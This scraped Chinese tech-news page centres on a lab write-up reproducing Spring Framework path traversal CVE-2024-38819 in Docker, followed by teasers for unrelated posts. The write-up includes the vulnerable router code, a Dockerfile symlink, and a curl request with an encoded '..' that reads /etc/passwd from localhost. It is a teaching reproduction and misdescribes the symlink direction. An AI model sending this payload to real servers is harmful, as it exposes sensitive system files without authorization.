news 2026/4/12 20:14:32

CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞复现

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞复现
操作:

根据CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞搭建复现的靶场环境

拿到环境的源码使用docker搭建

cd vuln

创建容器并启动

docker build -t cve-2024-38819-poc . docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc

注意在创建的时候有些镜像无法拉取到,可以在Dockerfile文件中修改配置使用其他的镜像

使用命令来验证是否存在漏洞

curl http://localhost:8080/static/link/%2e%2e/etc/passwd

请求成功返回了/etc/passwd文件的内容,证明存在该漏洞

该漏洞利用了路径遍历问题,使攻击者能够访问系统中本不应暴露的文件(如/etc/passwd)。攻击者能够进一步利用该信息来获取其他敏感数据或执行任意代码。

解析:
  1. 设置静态资源路由:创建PathTraversalDemoApplication.java文件,使用RouterFunctionFileSystemResource设置静态文件路由

    public RouterFunction<ServerResponse> staticResourceRouter() { return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/")); }

    这段代码创建了一个静态文件资源的路由。当用户访问/static/**路径时,系统会从/app/static/目录中提供文件。

  2. 创建符号链接

    RUN ln -s /static /app/static/link

    在 Dockerfile 中,ln -s命令创建了一个符号链接/static,指向/app/static/link。这意味着攻击者可以通过访问/static/link来尝试获取指向其他系统路径的文件。

  3. 利用路径遍历漏洞: 通过创建符号链接,攻击者可以尝试构造一个路径遍历的恶意 URL。例如:

    /static/link/%2e%2e/etc/passwd

    其中,%2e%2e%2e编码的..,代表父目录。攻击者通过这种方式尝试从/app/static/目录“跳出”并访问系统的其他目录(如/etc/passwd),从而获取系统敏感信息。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/11 17:59:28

Git合并时忽略文件的6种技巧

有几种方法可以在 git merge 时忽略特定文件的合并&#xff1a;方法一&#xff1a;使用 .gitattributes 文件&#xff08;推荐&#xff09;在项目根目录创建或编辑 .gitattributes 文件&#xff1a;infostation.js mergeours *.js mergeours # 如果需要忽略所有js文件的合并然…

作者头像 李华
网站建设 2026/4/6 23:25:25

超越能源使用:数据中心可持续运营策略

随着越来越多的数据中心建设以适应AI的日益普及和广泛采用&#xff0c;未能优先考虑更可持续运营的运营商将面临挑战。根据一项报告&#xff0c;截至2024年底&#xff0c;美国有1,240个数据中心建成或获批建设。美国数据中心的快速增长引发了关于数据中心能源和自然资源消耗的日…

作者头像 李华
网站建设 2026/4/11 7:32:10

联想和摩托罗拉推出自有设备端AI助手

联想和摩托罗拉正在推出自有的设备端AI助手联想和摩托罗拉正在推出自有的设备端AI助手Qira将在本季度晚些时候到来。如果世界上的数字助手还不够多的话&#xff0c;联想正在向这个堆积如山的助手队伍中再添加一个。周二晚上&#xff0c;该公司宣布推出Qira&#xff0c;这是一个…

作者头像 李华
网站建设 2026/4/6 4:54:34

探讨 C++ 在工程实践中的独特价值、其对底层能力的深刻影响,以及在复杂系统设计中不可替代的作用,揭示技术发展的新趋势与面对的挑战

在互联网行业的早期阶段&#xff0c;技术红利极为明显。只要掌握一门主流语言&#xff0c;熟悉常见框架&#xff0c;就可以迅速参与项目、完成需求、获得不错的职业回报。但随着行业逐渐成熟&#xff0c;一个现实问题开始浮现&#xff1a;为什么技术工作年限相近的工程师&#…

作者头像 李华
网站建设 2026/4/12 16:30:02

AI Coding后端开发实战,非常详细收藏我这一篇就够了

前言&#xff1a;AI时代&#xff0c;我们该如何与AI Coding协作&#xff1f; 随着AI技术在软件开发领域的快速发展&#xff0c;AI Coding作为一款强大的AI辅助开发工具&#xff0c;正在深刻改变着我们的开发模式。然而&#xff0c;在实际应用过程中&#xff0c;许多开发人员在早…

作者头像 李华